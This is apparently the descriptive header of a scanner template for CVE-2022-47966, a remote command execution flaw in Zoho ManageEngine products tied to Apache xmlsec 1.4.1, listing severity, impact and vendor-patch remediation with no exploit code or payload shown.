ManageEngine - Remote Command Execution

id: CVE-2022-47966

info:
  name: ManageEngine - Remote Command Execution
  author: rootxharsh,iamnoooob,DhiyaneshDK,pdresearch
  severity: critical
  description: |
    Multiple Zoho ManageEngine on-premise products, such as ServiceDesk Plus through 14003, allow remote code execution due to use of Apache xmlsec (aka XML Security for Java) 1.4.1, because the xmlsec XSLT features, by design in that version, make the application responsible for certain security protections, and the ManageEngine applications did not provide those protections.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the affected system.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix this vulnerability.
